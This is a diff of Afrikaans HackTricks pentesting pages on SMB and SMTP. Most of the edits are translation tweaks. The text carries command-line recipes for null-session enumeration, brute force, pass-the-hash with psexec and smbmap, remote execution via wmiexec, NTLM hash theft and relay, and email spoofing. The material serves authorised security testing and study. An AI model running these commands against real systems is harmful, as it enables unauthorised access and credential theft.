## HackTricks Outomatiese Opdragte
|
||||
```
|
||||
|
@ -12,22 +12,22 @@ Die _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* is 'n sagtewarepro
|
||||
|
||||
Tegniek is Port 139 bekend as ‘NBT oor IP’, terwyl Port 445 geïdentifiseer word as ‘SMB oor IP’. Die akroniem **SMB** staan vir ‘**Server Message Blocks**’, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knooppunte op 'n netwerk te ondersteun.
|
||||
|
||||
Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van poort 445. Aan die ander kant, op verskillende stelsels, word die gebruik van poort 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.
|
||||
Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van port 445. Aan die ander kant, op verskillende stelsels, word die gebruik van port 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes gebruik, te kommunikeer. Daarbenewens bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer.
|
||||
Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes gebruik, te kommunikeer. Boonop bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer.
|
||||
|
||||
Aandele, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie sigbaar maak vir 'n kliënt wat gedeeltelik **onafhanklik** is van die bediener se werklike struktuur. Die **Access Control Lists (ACLs)**, wat **toegangregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is.
|
||||
Aandeel, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie gedeeltelik **onafhanklik** van die werklike struktuur van die bediener sigbaar maak. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
Toegang tot die IPC$ aandele kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Wanneer dit behoorlik gebruik word, stel dit die verkryging van:
|
||||
Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Wanneer dit behoorlik gebruik word, stel dit die verkryging van:
|
||||
|
||||
- Inligting oor die bedryfstelsel
|
||||
- Besonderhede oor die ouerdomein
|
||||
- Besonderhede oor die ouer domein
|
||||
- 'n Samevoeging van plaaslike gebruikers en groepe
|
||||
- Inligting oor beskikbare SMB aandele
|
||||
- Die effektiewe stelselsekuriteitsbeleid
|
||||
@ -40,7 +40,7 @@ Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om '
|
||||
|
||||
## Wat is NTLM
|
||||
|
||||
As jy nie weet wat NTLM is of jy wil weet hoe dit werk en hoe om dit te misbruik nie, sal jy hierdie bladsy oor **NTLM** baie interessant vind waar verduidelik word **hoe hierdie protokol werk en hoe jy daarvan kan voordeel trek:**
|
||||
As jy nie weet wat NTLM is of jy wil weet hoe dit werk en hoe om dit te misbruik nie, sal jy hierdie bladsy oor **NTLM** baie interessant vind waar **hoe hierdie protokol werk en hoe jy daarvan kan voordeel trek, verduidelik word:**
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/
|
||||
@ -74,7 +74,7 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
|
||||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
### **Soek ontginning**
|
||||
### **Soek eksploit**
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
@ -83,12 +83,12 @@ searchsploit microsoft smb
|
||||
|
||||
| **Gebruikersnaam(s)** | **Algemene wagwoorde** |
|
||||
| --------------------- | ----------------------------------------- |
|
||||
| _(leeg)_ | _(leeg)_ |
|
||||
| gasheer | _(leeg)_ |
|
||||
| _(leeg)_ | _(leeg)_ |
|
||||
| gasheer | _(leeg)_ |
|
||||
| Administrateur, admin | _(leeg)_, wagwoord, administrateur, admin |
|
||||
| arcserve | arcserve, rugsteun |
|
||||
| arcserve | arcserve, rugsteun |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, rugsteun | backupexec, rugsteun, arcada |
|
||||
| backupexec, rugsteun | backupexec, rugsteun, arcada |
|
||||
| toets, laboratorium, demo | wagwoord, toets, laboratorium, demo |
|
||||
|
||||
### Brute Force
|
||||
@ -119,7 +119,7 @@ rpcclient -U "username%passwd" <IP> #With creds
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### Lys gebruikers, groepe & aangemelde gebruikers
|
||||
### Lys gebruikers, groepe & ingelogde gebruikers
|
||||
|
||||
Hierdie inligting behoort reeds van enum4linux en enum4linux-ng versamel te wees.
|
||||
```bash
|
||||
@ -143,7 +143,7 @@ Oneliner
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
### Metasploit - Enumereer plaaslike gebruikers
|
||||
### Metasploit - Lys plaaslike gebruikers op
|
||||
```bash
|
||||
use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
@ -195,11 +195,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Handmatig vensterskappe opnoem en aan hulle koppel**
|
||||
### **Handmatig venstersharinge opnoem en daaraan koppel**
|
||||
|
||||
Dit mag wees dat jy beperk is om enige skappe van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen skappe is om mee te verbind nie. Dit mag dus die moeite werd wees om te probeer om handmatig met 'n skep te verbind. Om die skappe handmatig op te noem, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige akrediteer). Hierdie mag aandui of die skep bestaan en jy nie toegang daartoe het nie of die skep glad nie bestaan nie.
|
||||
Dit mag dalk wees dat jy beperk is om enige gedeeltes van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen gedeeltes is om aan te sluit nie. Dit mag dus die moeite werd wees om te probeer om handmatig aan 'n gedeelte te koppel. Om die gedeeltes handmatig op te noem, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige akrediteer). Hierdie mag aandui of die gedeelte bestaan en jy nie toegang daartoe het nie of die gedeelte glad nie bestaan nie.
|
||||
|
||||
Gewone skepname vir venster teikens is
|
||||
Gewone gedeeltes name vir venster teikens is
|
||||
|
||||
- C$
|
||||
- D$
|
||||
@ -210,9 +210,9 @@ Gewone skepname vir venster teikens is
|
||||
- SYSVOL
|
||||
- NETLOGON
|
||||
|
||||
(Gewone skepname van _**Network Security Assessment 3rd edition**_)
|
||||
(Gewone gedeeltes name van _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
Jy kan probeer om met hulle te verbind deur die volgende opdrag te gebruik
|
||||
Jy kan probeer om aan hulle te koppel deur die volgende opdrag te gebruik
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
@ -289,12 +289,12 @@ smbclient //<IP>/<share>
|
||||
> mget *
|
||||
#Download everything to current directory
|
||||
```
|
||||
Opdragte:
|
||||
Commands:
|
||||
|
||||
- mask: spesifiseer die masker wat gebruik word om die lêers binne die gids te filter (bv. "" vir alle lêers)
|
||||
- recurse: skakel rekursie aan (verstek: af)
|
||||
- prompt: skakel die vrae vir lêernaam af (verstek: aan)
|
||||
- mget: kopieer alle lêers wat met die masker ooreenstem van die gasheer na die kliëntmasjien
|
||||
- prompt: skakel vrae vir lêernaam af (verstek: aan)
|
||||
- mget: kopieer alle lêers wat met die masker ooreenstem van die gasheer na die kliënt masjien
|
||||
|
||||
(_Inligting van die manblad van smbclient_)
|
||||
|
||||
@ -304,7 +304,7 @@ Opdragte:
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spin.
|
||||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spinnekop.
|
||||
- `-M spider_plus [--share <share_name>]`
|
||||
- `--pattern txt`
|
||||
```bash
|
||||
@ -313,12 +313,12 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
|
||||
Spesifiek interessant van gedeeltes is die lêers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde** bevat vir gebruikers wat met **autologon** via Groepbeleid gekonfigureer is. Of **`web.config`** lêers aangesien hulle akrediteerbesonderhede bevat.
|
||||
|
||||
> [!NOTE]
|
||||
> Die **SYSVOL gedeelde** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daar kan jy **baie** verskillende batch, VBScript, en PowerShell **scripts** **vind**.\
|
||||
> Jy moet die **scripts** daarin **kontroleer** aangesien jy **sensitiewe** inligting soos **wagwoorde** mag **vind**.
|
||||
> Die **SYSVOL-gedeelte** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin kan jy **baie** verskillende batch, VBScript, en PowerShell **scripts** **vind**.\
|
||||
> Jy moet die **scripts** daarin **kontroleer** aangesien jy sensitiewe inligting soos **wagwoorde** mag **vind**.
|
||||
|
||||
## Lees Register
|
||||
|
||||
Jy mag in staat wees om die **register** te **lees** met behulp van sommige ontdekte akrediteerbesonderhede. Impacket **`reg.py`** laat jou toe om te probeer:
|
||||
Jy mag in staat wees om die **register te lees** met behulp van sommige ontdekte akrediteerbesonderhede. Impacket **`reg.py`** laat jou toe om te probeer:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -333,11 +333,11 @@ Die **standaardkonfigurasie van** 'n **Samba** bediener is gewoonlik geleë in `
|
||||
| `browseable = yes` | Laat toe om beskikbare gedeeltes in die huidige gedeelte te lys? |
|
||||
| `read only = no` | Verbied die skepping en wysiging van lêers? |
|
||||
| `writable = yes` | Laat gebruikers toe om lêers te skep en te wysig? |
|
||||
| `guest ok = yes` | Laat verbinding met die diens toe sonder om 'n wagwoord te gebruik?|
|
||||
| `enable privileges = yes` | Eer die priviliges wat aan spesifieke SID toegeken is? |
|
||||
| `guest ok = yes` | Laat toe om aan die diens te koppel sonder om 'n wagwoord te gebruik? |
|
||||
| `enable privileges = yes` | Eer die voorregte wat aan spesifieke SID toegeken is? |
|
||||
| `create mask = 0777` | Watter regte moet aan die nuutgeskepte lêers toegeken word? |
|
||||
| `directory mask = 0777` | Watter regte moet aan die nuutgeskepte gidse toegeken word? |
|
||||
| `logon script = script.sh` | Watter skrip moet uitgevoer word wanneer die gebruiker aanmeld? |
|
||||
| `logon script = script.sh` | Watter skrip moet uitgevoer word wanneer die gebruiker aanmeld? |
|
||||
| `magic script = script.sh` | Watter skrip moet uitgevoer word wanneer die skrip gesluit word? |
|
||||
| `magic output = script.out` | Waar moet die uitvoer van die magiese skrip gestoor word? |
|
||||
|
||||
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
Albei opsies sal **n nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **oplaai** 'n uitvoerbare lêer na ADMIN$ deel en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload --**file-less technique-**- insit).\
|
||||
Albei opsies sal **nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **oplaai** 'n uitvoerbare lêer na ADMIN$ deel en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload --**file-less technique-**- insit).\
|
||||
**Meer inligting** oor [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)en [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
@ -388,11 +388,11 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
Met **parameter** `-k` kan jy teen **kerberos** autentiseer in plaas van **NTLM**.
|
||||
Gebruik **parameter**`-k` om teen **kerberos** te autentiseer in plaas van **NTLM**
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
Stealthily voer 'n opdrag shell uit sonder om die skyf aan te raak of 'n nuwe diens te laat loop deur DCOM via **poort 135.**\
|
||||
Stealthily voer 'n opdragskel uit sonder om die skyf te raak of 'n nuwe diens te begin deur DCOM via **poort 135.**\
|
||||
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -419,7 +419,7 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **Bruteforce gebruikers se akrediteerbesonderhede**
|
||||
## **Bruteforce gebruikers geloofsbriewe**
|
||||
|
||||
**Dit word nie aanbeveel nie, jy kan 'n rekening blokkeer as jy die maksimum toegelate pogings oorskry**
|
||||
```bash
|
||||
@ -433,7 +433,7 @@ Hierdie aanval gebruik die Responder toolkit om **SMB-authentikasiesessies** op
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Die Windows biblioteek URLMon.dll probeer outomaties om te autentiseer by die gasheer wanneer 'n bladsy probeer om toegang te verkry tot 'n paar inhoud via SMB, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
Die Windows biblioteek URLMon.dll probeer outomaties om te autentiseer met die gasheer wanneer 'n bladsy probeer om toegang te verkry tot 'n paar inhoud via SMB, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
Dit gebeur met die funksies:
|
||||
|
||||
@ -452,9 +452,9 @@ Wat deur sommige blaaiers en gereedskap (soos Skype) gebruik word.
|
||||
|
||||
## NTLM Diefstal
|
||||
|
||||
Soos SMB Trap, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n hulpmiddel soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](#smb-relay-aanval) gebruik word.
|
||||
Soos SMB Trap, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n hulpmiddel soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](#smb-relay-attack) gebruik word.
|
||||
|
||||
[ sien: ntlm_diefstal](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
[ sien: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
## HackTricks Outomatiese Opdragte
|
||||
```
|
||||
|
@ -62,7 +62,7 @@ Of **automate** dit met **nmap** plugin `smtp-ntlm-info.nse`
|
||||
|
||||
### Interne bediener naam - Inligting openbaarmaking
|
||||
|
||||
Sommige SMTP bedieners voltooi outomaties 'n sender se adres wanneer die opdrag "MAIL FROM" gegee word sonder 'n volledige adres, wat sy interne naam openbaar:
|
||||
Sommige SMTP bedieners voltooi outomaties 'n sender se adres wanneer die opdrag "MAIL FROM" gegee word sonder 'n volle adres, wat sy interne naam openbaar:
|
||||
```
|
||||
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
|
||||
EHLO all
|
||||
@ -219,7 +219,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
|
||||
|
||||
## SMTP Smuggling
|
||||
|
||||
SMTP Smuggling kwesbaarheid het toegelaat om al die SMTP beskermings te omseil (kyk die volgende afdeling vir meer inligting oor beskermings). Vir meer inligting oor SMTP Smuggling, kyk:
|
||||
SMTP Smuggling kwesbaarheid het toegelaat om al die SMTP beskermings te omseil (kyk die volgende afdeling vir meer inligting oor beskermings). Vir meer inligting oor SMTP Smuggling kyk:
|
||||
|
||||
{{#ref}}
|
||||
smtp-smuggling.md
|
||||
@ -234,10 +234,10 @@ Organisasies word verhinder om ongeoorloofde e-pos namens hulle te laat stuur de
|
||||
### SPF
|
||||
|
||||
> [!CAUTION]
|
||||
> SPF [is "verouderd" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Dit beteken dat jy in plaas daarvan om 'n **TXT rekord** in `_spf.domain.com` te skep, dit in `domain.com` moet skep met die **dieselfde sintaksis**.\
|
||||
> SPF [is "verouderd" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Dit beteken dat jy eerder 'n **TXT rekord** in `_spf.domain.com` moet skep, jy dit in `domain.com` moet skep met die **dieselfde sintaksis**.\
|
||||
> Boonop, om vorige spf rekords te hergebruik, is dit redelik algemeen om iets soos `"v=spf1 include:_spf.google.com ~all"` te vind.
|
||||
|
||||
**Sender Policy Framework** (SPF) is 'n mechanisme wat Mail Transfer Agents (MTAs) in staat stel om te verifieer of 'n gasheer wat 'n e-pos stuur, geoutoriseer is deur 'n lys van geoutoriseerde e-pos bedieners wat deur die organisasies gedefinieer is, te vra. Hierdie lys, wat IP adresse/reekse, domeine, en ander entiteite **geoutoriseer om e-pos namens 'n domeinnaam te stuur**, sluit verskeie "**Mechanismes**" in die SPF rekord in.
|
||||
**Sender Policy Framework** (SPF) is 'n mechanisme wat Mail Transfer Agents (MTAs) in staat stel om te verifieer of 'n gasheer wat 'n e-pos stuur, geautoriseer is deur 'n lys van geautoriseerde e-pos bedieners wat deur die organisasies gedefinieer is, te vra. Hierdie lys, wat IP adresse/reekse, domeine, en ander entiteite **geautoriseer om e-pos namens 'n domeinnaam te stuur**, sluit verskeie "**Mechanismes**" in die SPF rekord in.
|
||||
|
||||
#### Mechanismes
|
||||
|
||||
@ -245,7 +245,7 @@ Van [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
|
||||
|
||||
| Mechanisme | Beskrywing |
|
||||
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ALL | Pas altyd toe; gebruik vir 'n standaard resultaat soos `-all` vir alle IP's wat nie deur vorige mechanismes pas nie. |
|
||||
| ALL | Pas altyd toe; gebruik vir 'n standaard resultaat soos `-all` vir alle IP's wat nie deur vorige meganismes pas nie. |
|
||||
| A | As die domeinnaam 'n adres rekord (A of AAAA) het wat na die sender se adres opgelos kan word, sal dit pas. |
|
||||
| IP4 | As die sender in 'n gegewe IPv4 adres reeks is, pas. |
|
||||
| IP6 | As die sender in 'n gegewe IPv6 adres reeks is, pas. |
|
||||
@ -256,13 +256,13 @@ Van [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
|
||||
| REDIRECT | <p> 'n Herlei is 'n aanduiding na 'n ander domeinnaam wat 'n SPF beleid huisves, dit stel verskeie domeine in staat om dieselfde SPF beleid te deel. Dit is nuttig wanneer daar met 'n groot aantal domeine gewerk word wat dieselfde e-pos infrastruktuur deel.</p><p>Die SPF beleid van die domein wat in die herlei Mechanisme aangedui word, sal gebruik word.</p> |
|
||||
|
||||
Dit is ook moontlik om **Kwalifiseerders** te identifiseer wat aandui **wat gedoen moet word as 'n mechanisme pas**. Standaard word die **kwalifiseerder "+"** gebruik (so as enige mechanisme pas, beteken dit dit is toegelaat).\
|
||||
Jy sal gewoonlik **aan die einde van elke SPF beleid** iets soos: **\~all** of **-all** opgemerk. Dit word gebruik om aan te dui dat **as die sender nie aan enige SPF beleid voldoen nie, jy die e-pos as onbetroubaar (\~) of verwerp (-) moet merk.**
|
||||
Jy sal gewoonlik **aan die einde van elke SPF beleid** iets soos: **\~all** of **-all** opgemerk. Dit word gebruik om aan te dui dat **as die sender nie aan enige SPF beleid voldoen nie, jy die e-pos as onbetroubaar moet merk (\~) of die e-pos moet verwerp (-).**
|
||||
|
||||
#### Kwalifiseerders
|
||||
|
||||
Elke mechanisme binne die beleid kan voorafgegaan word deur een van vier kwalifiseerders om die beoogde resultaat te definieer:
|
||||
|
||||
- **`+`**: Kom ooreen met 'n PASS resultaat. Standaard neem mechanismes hierdie kwalifiseerder aan, wat `+mx` gelyk is aan `mx`.
|
||||
- **`+`**: Kom ooreen met 'n PASS resultaat. Standaard neem meganismes hierdie kwalifiseerder aan, wat `+mx` gelyk is aan `mx`.
|
||||
- **`?`**: Verteenwoordig 'n NEUTRALE resultaat, wat soortgelyk behandel word aan NONE (geen spesifieke beleid).
|
||||
- **`~`**: Dui SOFTFAIL aan, wat as 'n middelgrond tussen NEUTRAAL en FAIL dien. E-posse wat aan hierdie resultaat voldoen, word gewoonlik aanvaar maar dienooreenkomstig gemerk.
|
||||
- **`-`**: Dui FAIL aan, wat suggereer dat die e-pos heeltemal verwerp moet word.
|
||||
@ -330,8 +330,8 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||
| rua | Verslag URI van aggregaatverslae | rua=mailto:aggrep@example.com |
|
||||
| p | Beleid vir organisatoriese domein | p=quarantine |
|
||||
| sp | Beleid vir subdomeine van die OD | sp=reject |
|
||||
| adkim | Uitlijningmodus vir DKIM | adkim=s |
|
||||
| aspf | Uitlijningmodus vir SPF | aspf=r |
|
||||
| adkim | Uitlijningsmodus vir DKIM | adkim=s |
|
||||
| aspf | Uitlijningsmodus vir SPF | aspf=r |
|
||||
|
||||
### **Wat van Subdomeine?**
|
||||
|
||||
@ -357,7 +357,7 @@ Wanneer e-posse gestuur word, is dit van kardinale belang om te verseker dat hul
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
Om te kontroleer of 'n e-posbediener 'n oop relais is (wat beteken dat dit e-pos van enige eksterne bron kan deurstuur), word die `nmap`-instrument algemeen gebruik. Dit sluit 'n spesifieke skrif in wat ontwerp is om dit te toets. Die opdrag om 'n gedetailleerde skandering op 'n bediener (byvoorbeeld, met IP 10.10.10.10) op poort 25 met behulp van `nmap` uit te voer, is:
|
||||
Om te kontroleer of 'n e-posbediener 'n oop relay is (wat beteken dat dit e-pos van enige eksterne bron kan deurstuur), word die `nmap`-instrument algemeen gebruik. Dit sluit 'n spesifieke skrip in wat ontwerp is om dit te toets. Die opdrag om 'n gedetailleerde skandering op 'n bediener (byvoorbeeld, met IP 10.10.10.10) op poort 25 met behulp van `nmap` uit te voer, is:
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
@ -382,8 +382,8 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> As jy enige **fout kry met die dkim python lib** terwyl jy die sleutel ontleed, voel vry om hierdie een te gebruik.\
|
||||
> **NOTA**: Dit is net 'n vuil oplossing om vinnige kontroles te doen in gevalle waar die openssl private sleutel **nie deur dkim ontleed kan word** nie.
|
||||
> As jy enige **fout kry met die dkim python lib** wat die sleutel ontleed, voel vry om hierdie een te gebruik.\
|
||||
> **NOTA**: Dit is net 'n vuil oplossing om vinnige kontrole te doen in gevalle waar die openssl private sleutel **nie deur dkim ontleed kan word** nie.
|
||||
>
|
||||
> ```
|
||||
> -----BEGIN RSA PRIVATE KEY-----
|
||||
@ -481,24 +481,24 @@ s.sendmail(sender, [destination], msg_data)
|
||||
|
||||
- Domein se ouderdom
|
||||
- Skakels wat na IP-adresse wys
|
||||
- Skakel manipulasietegnieke
|
||||
- Skakelmanipulasietegnieke
|
||||
- Verdagte (ongewone) aanhangsels
|
||||
- Gebroke e-posinhoud
|
||||
- Waardes wat gebruik word wat verskil van die e-poskoppe
|
||||
- Bestaans van 'n geldige en vertroude SSL-sertifikaat
|
||||
- Indiening van die bladsy aan webinhoudfiltering webwerwe
|
||||
- Indiening van die bladsy aan webinhoudfilteringwebwerwe
|
||||
|
||||
## Eksfiltrasie deur SMTP
|
||||
|
||||
**As jy data via SMTP kan stuur** [**lees dit**](../../generic-hacking/exfiltration.md#smtp)**.**
|
||||
|
||||
## Konfigurasie lêer
|
||||
## Konfigurasie-lêer
|
||||
|
||||
### Postfix
|
||||
|
||||
Gewoonlik, as dit geïnstalleer is, in `/etc/postfix/master.cf` bevat **scripts om uit te voer** wanneer byvoorbeeld 'n nuwe e-pos deur 'n gebruiker ontvang word. Byvoorbeeld, die lyn `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` beteken dat `/etc/postfix/filtering` uitgevoer sal word as 'n nuwe e-pos deur die gebruiker mark ontvang word.
|
||||
Gewoonlik, as dit geïnstalleer is, bevat `/etc/postfix/master.cf` **scripts om uit te voer** wanneer 'n nuwe e-pos byvoorbeeld deur 'n gebruiker ontvang word. Byvoorbeeld, die lyn `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` beteken dat `/etc/postfix/filtering` uitgevoer sal word as 'n nuwe e-pos deur die gebruiker mark ontvang word.
|
||||
|
||||
Ander konfigurasie lêers:
|
||||
Ander konfigurasie-lêers:
|
||||
```
|
||||
sendmail.cf
|
||||
submit.cf
|
||||
|
@ -15,8 +15,8 @@ PORT STATE SERVICE REASON VERSION
|
||||
|
||||
### MIB
|
||||
|
||||
